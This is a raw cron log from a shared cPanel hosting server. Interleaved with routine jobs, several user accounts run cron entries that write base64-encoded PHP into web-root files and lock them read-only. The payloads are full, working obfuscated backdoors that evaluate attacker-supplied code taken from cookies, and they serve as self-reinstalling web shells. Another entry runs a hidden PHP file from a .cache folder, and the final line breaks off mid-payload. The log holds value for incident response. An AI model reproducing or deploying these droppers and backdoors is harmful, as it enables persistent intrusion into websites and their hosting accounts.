Mar  2 15:26:02 medusa CROND[7390]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 15:26:02 medusa CROND[7391]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:26:02 medusa CROND[7395]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:26:02 medusa CROND[7396]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:26:02 medusa CROND[7397]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 15:26:02 medusa CROND[7392]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 15:26:02 medusa CROND[7400]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 15:26:02 medusa CROND[7409]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 15:27:01 medusa CROND[23701]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 15:27:02 medusa CROND[23966]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:27:02 medusa CROND[23965]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 15:27:02 medusa CROND[23968]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:27:02 medusa CROND[23971]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 15:27:02 medusa CROND[23974]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 15:27:02 medusa CROND[23975]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:27:02 medusa CROND[23976]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 15:27:02 medusa CROND[23986]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 15:27:02 medusa CROND[23987]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:27:02 medusa CROND[23990]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 15:27:02 medusa CROND[23992]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 15:28:01 medusa CROND[8565]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 15:28:02 medusa CROND[8829]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 15:28:02 medusa CROND[8830]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 15:28:02 medusa CROND[8831]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 15:28:02 medusa CROND[8832]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 15:28:02 medusa CROND[8835]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 15:28:02 medusa CROND[8836]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:28:02 medusa CROND[8839]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 15:28:02 medusa CROND[8840]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 15:28:02 medusa CROND[8841]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:28:02 medusa CROND[8842]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX